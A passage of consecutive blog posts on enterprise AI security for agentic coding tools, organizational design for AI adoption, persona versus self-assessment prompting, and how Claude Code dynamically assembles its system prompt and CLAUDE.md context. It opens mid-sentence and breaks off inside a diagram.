The consumer side is a different story. Under the consumer terms changed in August 2025, the data retention period can be extended depending on the ‘allow training’ setting. Enterprises therefore need to clearly confirm and control which scope the service they are currently using falls under (commercial: Work/API/Gov), whether the log retention policy is standard (30 days) or ZDR (0 days), and how far client-side local caching will be permitted. Security starts with identifying the assets you have to protect and defining the means of protecting them.

Certification Badges and Substantive Security

The belief that “it has SOC 2 and ISO 27001 certification, so it’s safe” is likewise only a half-truth. Certification does matter, of course. Through its Trust Center, Anthropic provides compliance artifacts such as SOC 2 Type II and ISO 27001, demonstrating that the organization’s security management system is functioning.

But certification does not guarantee that “a breach will never happen.” Certification only shows the effectiveness of a management system; it is not magic that removes every technical vulnerability from a product. Enterprises should not treat certification as a simple ‘stamp of reassurance.’ They should use it instead as a safeguard in the deal. Specific items — data retention periods, access controls, audit logs, incident notification procedures, subprocessor management, regional regulatory compliance — should be locked into contracts and operational policies so that they carry real binding force.

The New Threats of Agentic Tools

The idea that “Claude Code is just an IDE plugin, so it isn’t dangerous” is a dangerous misjudgment. Claude Code is not a simple autocomplete tool but an ‘agentic tool’ that judges and acts on its own. At the point where the local execution environment, integrations with various tools, and user permissions all intermingle, an attack surface of a different order than before emerges.

The Claude Code-related CVEs reported in 2025 illustrate these threats well. An unauthorized connection issue caused by a WebSocket authentication bypass in the IDE extension (CVE-2025-52882), a vulnerability where malicious code could execute before the user approved the trust dialog (CVE-2025-59536), a similar problem tied to the Yarn plugin (CVE-2025-65099), and a directory restriction bypass caused by insufficient path validation (CVE-2025-54794) are the evidence.

This does not mean Claude itself is dangerous. It is a warning that an enterprise’s deployment and operating practices can be dangerous. If updates lag, developer PC environments are fragmented, and running arbitrary files out of the Downloads folder is culturally tolerated, adopting agentic tools can become the trigger that raises the probability of an incident.

The Speed of Defense, and Automation

The idea that “AI security is a defender’s problem only” is also wrong. Attackers are already weaponizing AI too. According to the Threat Intelligence report Anthropic published in August 2025, there were signs that tools including Claude Code had been abused in cyberattacks such as large-scale extortion operations. In November 2025, an even more advanced espionage campaign was disclosed, one that used AI not as a mere advisor but as the executor of the attack.

This reality demands a fundamental change in defensive strategy. Slow defense, where humans respond to everything one by one, cannot stop hackers attacking at AI speed. Automation now has to be introduced across the entire process from detection to response to recovery, so that the speed of defense matches the speed of attack.

Recommendations for Enterprises: From Product Settings to an Operating Model

In the end, the key is innovation in the ‘operating model,’ not simple product settings. Anthropic emphasizes sandboxing based on file system and network isolation as a way to reduce permission pop-ups while still ensuring safety. Enterprises should build an execution strategy that is one step more concrete, in line with that direction.

First, isolating the execution environment is essential. Wherever possible, run AI tools in a Dev Container, VDI, or isolated VM environment, and even when running them on a local PC, apply file and network isolation sandboxing as the default.

Network control should likewise follow a ‘deny-all by default’ principle. Only domains essential to the work should be whitelisted, and everything else blocked. That is because prompt injection without network isolation can lead directly to immediate data exfiltration.

Execution from untrusted paths should be blocked systemically. The attack scenario that many of the CVEs warn about in common is tricking a user into running a tool from an untrusted directory. Execution from Downloads folders, temp folders, and shared folders therefore has to be blocked technically through system configuration, not through policy training.

Enforced updates matter too. Updating IDE extensions and CLI tools should not be left to each developer’s discretion. Establish a minimum allowed version policy and block execution outright for versions that fall below the bar.

A data loss prevention (DLP) system should be built into the stage before prompt input. Making secret scanning and prompt DLP standard infrastructure, so that a mistake by an AI or a human does not turn into an incident, is at the core of enterprise security.

Finally, you need audit logs and anomaly detection. Keep records of who called which tool in which repository, and analyze them in real time. Since attackers come at you with automated tools, the defensive system has to secure a commensurate level of speed and visibility.

Conclusion: Keeping Security From Holding the Business Back

Security is a brake. Without brakes you crash. But if all you do is hold down the brake, you never get anywhere. I often see enterprises come to a stop in front of AI adoption. The decision is, “it might be risky, so let’s hold off for now.” Holding off does not mean maintaining the status quo. It is not just that your competitiveness erodes — hackers are using AI to attack, too.

Tools like Claude Code are already in the field. The question is not “should we use it or not.” Now is the time to think about how to use it safely. And here security is not something that holds the business back. Security becomes the guardrail that lets you pick up speed safely. Rules are what let a team move fast. Guardrails are what let people run without fear.

So the conclusion ROBOCO has reached is simple. Don’t trust AI. Don’t trust people either. Build systems you can trust instead. At the core of those systems are automated processes and guardrails that the organization can control.

The essence of AI adoption is not bolting on a new tool. It is changing the very way an organization creates customer value, faster and more accurately.

Meetings about adopting AI tend to start from the same question. “Our competitors are already using it, so when should we start?” Tool comparisons, license budgets, and training schedules follow soon after. That much is easy. The genuinely hard part comes next. It’s common for the way people work not to change fundamentally even after months, or for only a fraction of the organization to use it before it fizzles out. At some point AI stops being an “innovation project” and becomes “one more subscription fee.”

The problem this article addresses is not “which AI tool should we choose.” It’s a more fundamental question. Why do some organizations see performance rise as soon as they adopt AI, while in others nothing happens even with the same tools? The difference comes from structure, not technology. AI is a tool, but the results a tool produces ultimately come from human behavior. And behavior doesn’t change because of slogans. It changes when evidence is visible, and it persists when rewards are aligned.

So AI adoption has to be organizational design that combines measurement, incentives, psychological safety, and minimal governance, before it is “training” or a “guide.”

TL;DR

• Whether AI adoption succeeds depends less on tool selection than on designing structures that change organizational behavior.
• Mandated usage, absent measurement, wrong KPIs, and individual competition all tend to turn AI adoption into a box-ticking project.
• Successful adoption requires evidence-based dashboards, shared rewards, psychological safety, and minimal governance, together.

1. Failure Patterns: Why So Many AI Adoptions End Without Effect

AI adoption fails not because “AI isn’t very good,” but because the way organizations handle AI runs against the principles of human behavior. Most failures aren’t a matter of tool performance. They occur the moment the adoption approach pushes the people doing the work into “defense” rather than “learning.”

The most common starting point is a company-wide blanket rollout. Declaring “everyone will use it” looks like fast execution, but from an employee’s point of view it’s easily read as control and surveillance. People then work to reduce risk rather than to produce results. Outwardly they switch the tool on; inwardly they go back to their old ways. The organization takes comfort in the illusion called “adoption rate,” while the people doing the work secure their safety through “formal compliance.” What’s left in the end is the license cost and a collective memory that “AI doesn’t do much.”

The second failure is adoption that starts without measurement. Early on, the expectation that “things will get better” is widely shared, but over time the question changes. “So what got better, and by how much?” If you can’t answer that, AI becomes a matter of taste rather than strategy, and the budget loses its justification. Even the people who supported the adoption turn defensive. Adoption without measurement only raises the cost of internal persuasion as time passes, and it ends up filed away as an “unprovable investment.”

The third is choosing the wrong metrics. Quantity KPIs are easy to build and easy to explain. But metrics like commit counts and ticket counts make people find ways to raise the numbers. Meaningless changes, splitting work up, and padding follow. The organization thinks its data has grown, while customer value and quality stay flat or actually get worse. At that moment AI stops being “a tool that raises performance” and becomes “a tool that dresses performance up,” and the metrics distort the organization instead of promoting learning.

The fourth is a framework of individual competition. “Rewards for the top AI users” looks like motivation, but in practice it removes any reason to share know-how. Information becomes scarce, the people who are good get better, and the majority can’t keep up. The organization gains an island of “a few experts” but never gains the continent of “company-wide productivity.”

These four failures can be summed up in a single sentence. Mandates produce formal compliance, the absence of measurement removes the justification for investment, wrong KPIs distort behavior, and a competitive framework isolates learning. So this article does not list tools. Instead it redesigns AI adoption around the structures that successful organizations have in common: dashboards that create evidence, rewards that make cooperation profitable, psychological safety that lowers anxiety, and minimal governance that prevents accidents.

2. Principles of Success: “Evidence” Instead of “Mandates,” “Cooperation” Instead of “Competition”

The force that keeps AI adoption rolling comes from observation, not from directives. This is because of what psychology calls social proof and descriptive norms. People change their behavior less on “you should” than on seeing that “other people are actually doing this, and the results are good.” What an organization needs to do is not to repeat “please use AI,” but to make the results and the process of teams and individuals who use AI well visible.

Dashboards and case sharing are not mere promotion; they send employees a normative signal that “this is how things work in this organization right now.” People move more readily when the basis for comparison is not an “absolute target” but “colleagues in similar roles and similar situations” (the reference group effect). That’s because it generates the self-efficacy of “I could probably do that much too.”

But evidence alone isn’t enough. What an organization really wants is not “a few experts” but “collective learning,” and collective learning doesn’t happen automatically. In behavioral economics, sharing is a classic public good. Everyone benefits, but contributing feels like a cost to the individual, so free riders appear. That’s why moral appeals like “please share” don’t last long. To create cooperation, you have to change the choice architecture. That is, you have to make sharing a rational choice rather than an act of goodwill.

The key here is not designing incentives around “individual competition.” “Rewards for the top 10%” may look motivating in the short term, but in practice it triggers the defensive psychology that relative evaluation creates. People hide information to preserve their advantage, and know-how gets privatized. What’s more, among people with similar performance, even a small gap becomes a sensitive matter and cooperation breaks down (perceptions of fairness).

To create cooperation, rewards have to be based on “propagation” rather than “ranking.” You need a structure where, when a tip I shared is applied by someone else and its effect is confirmed, part of that effect comes back to me. In that case people are moved by reciprocity. Once the sense that “what I give comes back to me” takes hold, knowledge starts to be exchanged.

Another important mechanism is immediacy. People respond better to a small piece of feedback now than to a large reward in the future (present bias). So recognition for sharing should be designed as a fast feedback loop, colleagues saying “I applied this” or “this helped,” rather than a line in the year-end review. When small recognition repeats often, behavior becomes habit. At the same time, it should be designed in a direction that satisfies autonomy, competence, and relatedness (self-determination theory). When the message shifts from “share” to “if you make what you discovered something the team uses together, your influence grows,” sharing becomes a matter of identity (I am someone who contributes) rather than control.

Finally, cooperation isn’t a matter of gathering “good people.” It depends on how you set defaults and friction. If sharing is cumbersome and recognition for it is slow, nobody keeps at it. Conversely, if there’s a sharing template (reducing friction), if 10 to 15 minutes of “this week’s discoveries” is a default part of the team meeting (default design), and if sharing is connected to actual application and reflected in the score (incentive alignment), then the organization rolls toward cooperation without effort. In the end, “cooperation” is not a culture but the result of design.

3. The Adoption Approach: Empowerment and Role-Specific Usage Design

The most common mistake when adopting AI is “distributing the tool equally.” If you hand every developer an identical Copilot license and tell them to “figure out how to use it,” seniors will use it only for simple repetitive work while juniors stay busy copying and pasting code. Empowerment comes not from issuing a tool but from defining what that tool is supposed to solve.

Organizations have to design a “winning scenario” for each role. For juniors, for instance, AI should be a “24-hour mentor.” Interpreting error logs they don’t understand, summarizing library documentation, and cutting down time spent flailing are the core value. For seniors, on the other hand, AI is a “design partner.” Productivity explodes when it’s used to find holes in a complex system architecture, or to predict the side effects of refactoring legacy code. For QA, the goal should be reducing the time spent writing test cases to nearly zero, and for PMs and POs, removing bottlenecks in organizing meeting notes and fleshing out requirements specifications.

AI becomes a weapon rather than homework when people are given a specific playbook saying “in your role, here is how this tool can save you time,” instead of “just use it.” What matters is not “getting people to use AI” but “getting people to win by using AI.”

4. The Maturity Model: Designing the Organization’s Learning Path

The ability to use AI doesn’t appear overnight. Like learning to ride a bicycle, it has stages. Yet many organizations ignore these stages and expect “coding automation” from day one. Just as telling someone to run before they can walk makes them fall, demanding advanced capabilities without a maturity model leads organizations to give up on AI. We should define an organization’s AI maturity in four stages and set learning goals appropriate to each.

graph LR
    Step1[Questions and Search] --> Step2[Producing Artifacts]
    Step2 --> Step3[Collaborative Judgment and Review]
    Step3 --> Step4[Delegating to Agents]

Stage 1 is “questions and search.” Asking AI instead of Googling, and getting a grip on basic concepts. Stage 2 is “producing artifacts.” Having it generate unit test code, document drafts, and simple functions. This is where you get a taste of productivity. Stage 3 is “collaborative judgment and review.” A stage of mutual verification, where I review the code AI wrote and hand my code to AI for review. Quality starts rising from here. Stage 4 is “delegating to agents.” A stage where you say “implement this feature” and AI carries out planning, coding, testing, and fixing.

This maturity model is not a report card for ranking people. It’s a map that shows each person “where I am now, and what I need to practice to reach the next stage.” With a map you don’t get lost, and learning becomes a clear quest rather than a vague effort.

5. Measuring Performance: Not “a Lot,” but “the Important Things, Well”

“You can’t manage what you can’t measure” holds for AI adoption too. But you should also keep in mind that “measure the wrong thing and you’re finished.” In the early days of AI adoption, many organizations look at metrics like “lines of code generated” or “number of AI tool invocations.” This is the worst option. When producing lots of code becomes the goal, the system bloats and maintenance costs explode. Fixate on invocation counts and you just get more meaningless questions.

Proper performance measurement has to focus on “value,” not “speed.” What we should be measuring is not “how fast we wrote the code” but “how much the lead time for delivering value to the customer has fallen.” We should also look at “how much the change failure rate after deployment has dropped.”

More precisely, “customer impact” should be used as a weight. Catching a security vulnerability quickly with AI should score high; fixing a simple typo should score low. The goal is not “doing a lot of work with AI” but “solving important problems faster and more safely with AI.” When metrics are set this way, the organization naturally reduces pointless coding and concentrates on solving core problems.

6. Dashboards: Turning Correlations into the Organization’s Language

Data has no meaning if it lives only inside an Excel file. The heart that determines whether AI adoption succeeds is a transparently published dashboard. But the dashboard must not become a surveillance tool for executives. It has to be a feedback mirror for the people doing the work.

Three things should be visible on the dashboard at a glance. First, my position. I should be able to see objectively where my productivity and quality metrics stand. Second, correlations. The AI usage patterns of the top performers should be visible. When facts like “wait, that team uses the AI review feature a lot and their failure rate is 0%?” show up in the data, people copy that approach without being told to. Third, the organization’s direction. The trend that our whole organization is currently moving from stage 1 to stage 2 should be visible.

At this point the dashboard becomes an instrument of persuasion. One piece of data showing that “colleagues who use AI well leave work earlier and perform better too” is more powerful than a hundred speeches. The organization communicates through data, with “evidence” rather than “gut feel,” and corrects the direction of its own learning.

7. Rewarding Sharing: Designing Know-How into “Performance”

In the world of knowledge work, “know-how” is power. So instinctively, people want to keep it to themselves. To work against this instinct, you have to build “a structure in which sharing pays better than hoarding.” A campaign that simply says “let’s share” doesn’t come close.

You need a system that recognizes sharing as a “knowledge asset.” If a colleague used a prompt tip I posted and saved time, part of that saved value should be recognized as my performance. If an AI guide I put on the internal wiki is widely read and adopted as the team’s standard process, that should be evaluated as a contribution just as important as writing code.

Once this structure is in place, sharing know-how stops being “volunteer work” and becomes “the most efficient means of producing results.” The thought “I should keep this to myself” turns into “I should share this and grow my influence.” That’s the moment the entire organization becomes a vast knowledge factory. A culture of cooperation comes not from good intentions but from smart reward design.

8. Psychological Safety: The Moment AI Becomes a Fear, Innovation Stops

Resistance to AI adoption comes less from “it’s a hassle” than from “I’m anxious.” In particular, once worries like “if I can’t use AI, will I be pushed out?” or “will this end up being the grounds for laying me off?” spread through an organization, people move defensively rather than learn. Defensiveness reduces experimentation, and when experimentation drops, learning stops too. So organizations have to put psychological safeguards in place first.

The important declaration here is not simple reassurance but an operating principle. Whether or not someone uses AI will not be used as grounds for dismissal or disadvantage. A defined period is set aside as a learning period, and mistakes made while getting to grips with the tools are treated as material for growth rather than blame. The anxiety seniors feel, “is my experience becoming meaningless?”, also has to be addressed head-on. Domain knowledge, architectural judgment, and review capability are hard for AI to replace entirely, and AI is closer to an amplifier that helps those abilities be exercised faster and more accurately.

At the same time, though, the organization has to make one more thing clear. It isn’t about whether you use AI; evaluation of the performance you actually produce stays exactly as it was. In other words, it isn’t “I didn’t use AI, so it’s fine.” Customer value, quality, and contribution to collaboration are evaluated by the same standards as before, and the resulting rewards, promotions, and adjustments continue as usual. What the organization guarantees is “no mandated AI usage,” not “exemption from accountability for results.” With this balance in place, people can experiment safely while continuing to learn in a direction that produces results.

9. Minimal Governance: Few Rules, but Clear Ones

Every technology adoption needs brakes. But the purpose of brakes is not to stop the car; it’s to let it go faster. You can only put your foot on the accelerator once you’re confident you’re safe. AI governance is the same. With too many rules nobody uses it; with none, a major incident eventually breaks. So you need “minimum viable governance.”

We only need to observe three things. First, isolating sensitive data. Personal information, authentication keys, and unreleased core technology are never entered into external AI. This should be blocked or filtered at the tool level. Second, human-in-the-loop. Anything AI generates (code and documents especially) must pass human review before it can ship. “The AI wrote it” is no absolution, and final responsibility always rests with the reviewer. Third, no blind trust. AI output should be cross-verified on the premise that it can always be wrong.

As long as these three guardrails are clear, people should be free to run around as they like inside that fence. Vague rules cause people to shrink back, but clear safeguards create speed.

10. Execution Stages: From Validation to Refinement

Successful AI adoption isn’t an event you proclaim with “starting today!” It’s an evolutionary process that grows like a living thing. We should approach it in three stages: verify, spread, embed.

1. The verification stage (the pilot): Rolling it out everywhere is risky. Select one early-adopter team that is open to change and support it intensively. The goal is to create one solid success case proving that “AI produces results.” This small win becomes the spark for spreading it everywhere.

2. The spreading stage (the rollover): Based on the pilot team’s success case, build role-specific playbooks and start training. If you open up the dashboard and show the data at this point, the early majority who have been watching from the sidelines start to move.

3. The embedding stage (the standard): The stage where using AI is everyday practice rather than a special event. AI training is included in the onboarding process, and AI capability is reflected in the evaluation system.

What matters is not skipping stages. Spread without verification only creates confusion, and trying to embed without having spread only invites pushback. More important than speed is an unwavering sense of direction. Don’t ask “have we adopted it?” Ask “is evidence accumulating?”

In Closing: Leadership’s Role Is “Creating the Environment”

In an AI adoption project, the leader’s role is closer to a gardener than a commander. Just as you can’t make a plant grow by pulling on it, you can’t produce results by forcing employees to “use AI.” What leaders need to do is prepare the soil.

Put easy-to-use tools in people’s hands (infrastructure), show them how to use them (training), shine sunlight on those who use them well (rewards), and put up a fence so things can grow without worrying about weeds or pests (safety). Create this environment and the organization will learn and evolve on its own.

AI is not a simple automation tool. It’s a catalyst that can transform an organization’s learning process from the ground up. Whether you turn this change into a cost or into an overwhelming competitive advantage depends entirely on organizational design. So let’s change the question. Not “which AI should we buy?” but “what kind of organization should we build?”

On walking the tightrope between confidence and caution

Introduction

What is the difference between telling a model “answer like a senior engineer” and telling it “first think about what you are, then answer”? On the surface they look similar, but internally two completely different mechanisms are at work. This post examines the mathematical difference between the two approaches and what it means in practice.

TL;DR

• Persona assignment steers the model’s output distribution toward a particular role, but that role never becomes an explicit constraint.
• The metacognitive approach makes the model generate a self-assessment as tokens first, which then constrains the subsequent answer toward greater caution and consistency.
• Use a persona when you need a confident expert tone; use the metacognitive approach when acknowledging uncertainty and limitations matters.

1. Direct Role Assignment

The first approach is the prompting technique we use most often. You assign a role directly, as in “answer as a senior engineer” or “you are a developer with ten years of experience.”

Expressed mathematically:

P(response | prompt, "role = senior_engineer")

Here is how the model behaves under this approach:

First, immediate pattern matching occurs. The model instantly activates text patterns associated with “senior engineer” from its training data. Patterns learned from technical blogs, highly upvoted Stack Overflow answers, and technical documentation are reflected directly in the output probabilities.

Second, the intermediate reasoning step is skipped. Without any meta-level thought such as “am I really a senior engineer?” or “how should a senior engineer answer this question?”, the model produces the tone and content of that role right away.

Third, steering happens directly in latent space. The role instruction acts as a kind of “steering vector” on the model’s latent representation. The effect is to push the entire output distribution in a particular direction.

2. The Metacognitive Approach (Self-Assessment Then Response)

The second approach has the model first define what it is, and then respond on the basis of that definition.

Mathematically, this is a two-stage conditional probability:

P(self-assessment | prompt) → P(response | prompt, self-assessment)

The process unfolds like this:

Stage 1: Generating the self-assessment. The model produces a self-description along the lines of “I am Claude. As an AI assistant I have no actual work experience, but I have learned a broad range of technical knowledge…”

Stage 2: Incorporation into the context window. Those self-description tokens become part of the context window. This is the crux of it.

Stage 3: Constrained response generation. Every subsequent token is conditioned on the self-description generated earlier. Once the model has stated “I am an AI with no real experience,” the probability that it later says “in my experience…” drops sharply.

3. The Core Difference: Abstract Role vs. Serialized Constraint

The decisive difference between the two approaches lies in where the constraint originates.

With persona assignment, “senior engineer” operates only as an abstract concept. The model “performs” the role, but no explicit statement about what it actually is exists in the context. The model can therefore confidently say “in my experience…”

With the metacognitive approach, by contrast, the statement “I am an AI and I have no real experience” exists in the context as an actual token sequence. Language models are trained, at their core, to generate a next token consistent with the tokens that came before. Once the model has spelled out its own limitations, the probability of generating a claim that contradicts them is mathematically lower.

This is not a mere difference in nuance. It is the fundamental difference of the constraint moving from latent space into token space.

4. Differences in Actual Output

How does this theoretical difference show up in real output?

Output characteristics of persona assignment

• Confident, assertive tone
• Frequent expressions such as “in my experience” and “in practice”
• High conviction in technical claims
• No mention of being an AI, or minimal mention

Output characteristics of the metacognitive approach

• Careful tone that avoids categorical statements
• Expressions such as “I have no direct experience, but…” and “what is generally understood is…”
• Explicit acknowledgment of its limitations as an AI
• Candid expression of uncertainty

5. A Practical Guide

So when should you use which?

When persona assignment fits

Creative content generation is where persona assignment works well. For marketing copy, storytelling, or writing documents in a particular voice, having the model keep mentioning its own limitations only gets in the way.

It is also useful for rapid prototyping. When exploring ideas quickly, receiving confident suggestions can be more efficient than getting a careful caveat attached every time.

It suits role-play-based learning, where you want to experience a particular point of view — for example, a request like “evaluate this product from a customer’s perspective.”

When the metacognitive approach fits

Technical questions where accuracy matters are better served by the metacognitive approach. When the model recognizes its own limitations and flags the uncertain parts, it is easier for the user to identify what needs additional verification.

It is also recommended for decision support. When making an important decision, advice with uncertainty made explicit is safer than overconfident advice.

It suits learning and educational purposes. Responses with limitations spelled out are more valuable pedagogically, because they discourage learners from accepting an AI’s answers uncritically.

6. A Hybrid Approach

In practice you can combine the two. For example:

Answer from the perspective of a senior backend engineer, but keep in mind
that as an AI you have no actual production experience, and make the
uncertain parts explicit.

This approach draws on the expertise of the persona and the caution of metacognition at the same time. The model answers with the tone and depth of a senior engineer while hedging appropriately where it cannot be certain.

Closing

In prompt engineering, “how you assign a role” matters as much as “which role you assign.” Direct persona assignment and metacognitive prompting look subtly different on the surface, but inside the model they produce entirely different probability distributions.

To summarize the key points:

• Persona assignment steers the output distribution directly in latent space
• The metacognitive approach creates an explicit constraint in token space
• The former elicits confident output, the latter cautious output
• It is best to choose — or combine — the approaches according to your purpose

To make good use of a language model as a tool, it helps to understand how that tool works internally. I hope this post serves as one reference point when you design your prompting strategy.

This post is based on the discussion in a conversation between Claude and JonCygnus.

The world of meticulous prompt engineering hidden behind the “it just handles it for you” experience

Developers trying Claude Code for the first time often wonder, “How does it understand the context this well?” Claude Code doesn’t behave like a simple coding assistant; it acts like a colleague who has been on the project for a long time. The secret lies in a sophisticated system architecture in which more than 40 prompt fragments are assembled dynamically.

This article takes an in-depth look at how Claude Code uses CLAUDE.md and your codebase to instruct the LLM, and how the system prompt is generated in real time.

It is based on API monitoring analysis through a LiteLLM proxy and on publicly available system prompt material; the references I consulted are listed at the end.

TL;DR

• Claude Code’s strength comes not from one giant prompt but from a prompt system that is assembled to fit the situation.
• CLAUDE.md, system reminders, sub-agents, and permission validation each play a role in raising context quality and safety.
• The key lesson is that you have to go beyond writing good prompts and design context and workflow as architecture.

Table of Contents

1. The Overall Architecture Flow
2. Dynamic System Prompt Composition
3. How CLAUDE.md Is Used
4. The System Reminder Injection Pattern
5. Sub-Agent Architecture
6. Security and Permission Validation Flow
7. Context Engineering Strategies
8. Key Insights

1. The Overall Architecture Flow

What happens when you type a command into Claude Code? Your message is not simply sent off to the API. In between, there is a process of meticulous context gathering, prompt building, and preprocessing.

graph TB
    Start[User enters command] --> Init[Session initialization]
    Init --> LoadContext[Context loading]
    
    subgraph "Context Gathering"
        LoadContext --> ReadCLAUDE[Read CLAUDE.md]
        LoadContext --> ReadCode[Analyze codebase]
        LoadContext --> ReadGit[Check Git status]
        LoadContext --> ReadEnv[Gather environment info]
    end
    
    subgraph "Prompt Generation"
        ReadCLAUDE --> BuildPrompt[Build system prompt]
        ReadCode --> BuildPrompt
        ReadGit --> BuildPrompt
        ReadEnv --> BuildPrompt
        
        BuildPrompt --> CorePrompt[Core system prompt]
        BuildPrompt --> ToolDesc[Add tool descriptions
17 built-in tools]
        BuildPrompt --> ContextPrompt[Context prompt
CLAUDE.md contents]
        BuildPrompt --> Reminders[Add system reminders]
    end
    
    subgraph "Request Preprocessing"
        CorePrompt --> PreProcess[Request preprocessing]
        ToolDesc --> PreProcess
        ContextPrompt --> PreProcess
        Reminders --> PreProcess
        
        PreProcess --> TitleGen[Generate conversation title]
        PreProcess --> TopicCheck[Detect topic change]
        PreProcess --> ConvSummary[Summarize conversation]
    end
    
    PreProcess --> SendAPI[Send API request]
    SendAPI --> Response[Claude response]
    
    subgraph "Response Handling"
        Response --> ToolCall{Tool call?}
        ToolCall -->|Yes| ExecuteTool[Execute tool]
        ToolCall -->|No| Output[Output to user]
        
        ExecuteTool --> BashCheck{Bash command?}
        BashCheck -->|Yes| CmdCheck[Command injection check]
        BashCheck -->|No| ToolExec[Execute tool]
        
        CmdCheck --> Permission{Permission needed?}
        Permission -->|Yes| AskUser[Request user approval]
        Permission -->|No| ToolExec
        AskUser --> ToolExec
        
        ToolExec --> InjectReminder[Inject reminder into result]
        InjectReminder --> SendBack[Return result to Claude]
        SendBack --> Response
    end
    
    Output --> End[Done]

Walking through the flow

The moment a user types a command in the terminal, Claude Code fires up a meticulous four-stage pipeline.

Stage one: context gathering

Claude Code first collects all the information about the current working environment. It reads the CLAUDE.md file at the project root to learn the project structure, build commands, and coding conventions. At the same time, it gathers Git status (current branch, recent commits, changed files) along with environment information such as the operating system and installed tools. All of this is the foundation that makes Claude behave “as if it understands the project.”

Stage two: prompt building

Based on the gathered information, the system prompt is assembled dynamically. The key is conditional composition. Not every prompt fragment is always included — only what the current situation requires is selectively pulled in. If Plan mode is active, for example, the Plan-related prompt is added; if an MCP server is configured, the MCP CLI prompt is included.

Stage three: request preprocessing

Before sending the API request, Claude Code performs a few “preparatory tasks.” It detects whether the current conversation is on a new topic, generates a conversation title, and, for long conversations, summarizes what came before. These steps involve separate LLM calls of their own, each using a specialized prompt.

Stage four: response handling

When Claude’s response includes a tool call, that tool is executed and a system reminder is injected into the result. This reminder acts as a “compass” that keeps Claude from drifting away from the original goal. For Bash commands in particular, a dedicated agent inspects the command for injection attacks before it runs.

2. Dynamic System Prompt Composition

Claude Code’s system prompt is not a single string. Static components, dynamic components, and conditional components are assembled like Lego bricks to form the final prompt.

graph LR
    subgraph "Static Components"
        A[Core System Prompt
2601 tokens]
        B[Tone & Style
Guidelines]
        C[Security Rules
& Restrictions]
    end
    
    subgraph "Dynamic Components"
        D[CLAUDE.md
project context]
        E[Git Status
branch, commit info]
        F[Environment Info
OS, tools, paths]
        G[Todo List
current task state]
    end
    
    subgraph "Conditional Components"
        H[Learning Mode
1042 tokens]
        I[Plan Mode
480 tokens]
        J[MCP CLI
1357 tokens]
    end
    
    subgraph "Tool Descriptions"
        K[Bash: 1074 tokens]
        L[Write: 159 tokens]
        M[Read: 439 tokens]
        N[TodoWrite: 2167 tokens]
        O[Task: 1055 tokens]
        P[+12 more tools]
    end
    
    A --> Merge[System prompt
dynamic merge]
    B --> Merge
    C --> Merge
    D --> Merge
    E --> Merge
    F --> Merge
    G --> Merge
    H -.->|if enabled| Merge
    I -.->|if active| Merge
    J -.->|if configured| Merge
    K --> Merge
    L --> Merge
    M --> Merge
    N --> Merge
    O --> Merge
    P --> Merge
    
    Merge --> Final[Final system prompt
10,000+ tokens]
    

Walking through the flow

Static components: the unchanging foundation

These are the prompts shared by every Claude Code session. The Core system prompt, made up of 2,601 tokens, defines Claude Code’s identity, its baseline behavioral rules, and its response style. Beginning with “You are Claude Code, Anthropic’s official CLI for Claude…”, this prompt forms the basis for how Claude should behave as a coding assistant.

Security rules also belong to the static components. Prohibitions on writing malicious code, restrictions on generating URLs, and guidelines for sensitive operations all fall into this category.

Dynamic components: context that changes in real time

This is where Claude Code’s real “magic” happens. The contents of the CLAUDE.md file differ from project to project. A React project will contain component structure and a style guide; a Python backend project will contain API endpoints and testing instructions. Because this information is included in the system prompt, Claude can act “as if it knows this project.”

Git status information is injected dynamically as well. Because Claude knows the current branch, the recent commits, and which files have changed, it can naturally handle a request like “open a PR against the main branch.”

Conditional components: activated only when needed

Learning Mode, Plan Mode, MCP CLI, and the like are included only when the user has activated that particular mode. This is a design choice for token efficiency: no precious context window is wasted describing features you aren’t using.

Tool descriptions: surprisingly detailed guides

A description of each of the 17 built-in tools is included in the system prompt. The TodoWrite (2,167 tokens) and Bash (1,074 tokens) tools in particular carry very detailed usage guides. These tool descriptions alone add up to more than 8,000 tokens.

The fully assembled system prompt can reach more than 10,000 tokens. And all of it is dynamically reconstructed to suit the situation, every session.

3. How CLAUDE.md Is Used

CLAUDE.md occupies a special place in the Claude Code ecosystem. This file is the project’s “brain,” supplying all the context Claude needs to understand the codebase.

sequenceDiagram
    participant U as User
    participant CC as Claude Code
    participant Gen as CLAUDE.md Generator
(384 tokens)
    participant FS as File System
    participant API as Anthropic API
    
    Note over U,API: Initial setup phase
    U->>CC: /init command or first run
    CC->>Gen: Request codebase analysis
    Gen->>FS: Explore project files
    FS-->>Gen: Return file structure
    Gen->>Gen: Analyze and generate summary
    Gen-->>CC: Generate CLAUDE.md contents
    CC->>FS: Save CLAUDE.md
    
    Note over U,API: Session execution phase
    U->>CC: Request a coding task
    CC->>FS: Read CLAUDE.md
    FS-->>CC: Project context
    CC->>CC: Build system prompt
    
    Note over CC: CLAUDE.md contents included:
- project structure
- build/test commands
- coding conventions
- architecture info
    
    CC->>API: Request (system prompt + user message)
    API-->>CC: Response
    CC-->>U: Output result

Walking through the flow

Initial setup: the birth of CLAUDE.md

When a user runs the /init command, or starts Claude Code for the first time in a new project, a dedicated Generator Agent is activated. This agent carries a specialized system prompt of 384 tokens and pursues exactly one goal: analyze the codebase and generate CLAUDE.md.

The Generator explores the project’s file structure and reads configuration files such as package.json, pyproject.toml, and Makefile to work out the build and test commands. It analyzes the code’s architectural patterns and summarizes the role of the major directories and files. All of this is saved to CLAUDE.md in structured form.

Session execution: the power of context

From then on, in every Claude Code session, this CLAUDE.md file is automatically included as part of the system prompt. When the user says “run the tests,” Claude uses the test command it read from CLAUDE.md (npm test, pytest, and so on). When the user says “create a new component,” it follows the project’s style guide and directory structure as specified in CLAUDE.md.

This is the secret behind Claude Code’s ability to behave differently from project to project. The same “run the tests” command executes npm test in a React project and python manage.py test in a Django project — thanks to CLAUDE.md.

An example CLAUDE.md structure

# Project overview
This project is a React-based dashboard application.

# Project structure
- src/components: reusable UI components
- src/pages: page-level components
- src/hooks: custom React hooks
- src/services: API communication logic

# Development commands
- dev server: npm run dev
- build: npm run build
- test: npm test -- --watch
- lint: npm run lint

# Coding conventions
- Use TypeScript strict mode
- Write components as function components
- Use Tailwind CSS for styling
- Use Zustand for state management

# Important notes
- Store API keys in .env.local
- Lint must pass before opening a PR

4. The System Reminder Injection Pattern

One of Claude Code’s most distinctive traits is its extensive use of the <system-reminder> tag. This tag is the core mechanism for preventing drift, keeping Claude from losing sight of its original goal even in long conversations.

graph TB
    subgraph "User Message"
        UM1[User input]
        SR1["<system-reminder>
key instructions repeated
</system-reminder>"]
        UM1 --> SR1
    end
    
    subgraph "Tool Execution"
        TE[Tool execution request]
        SR2["<system-reminder>
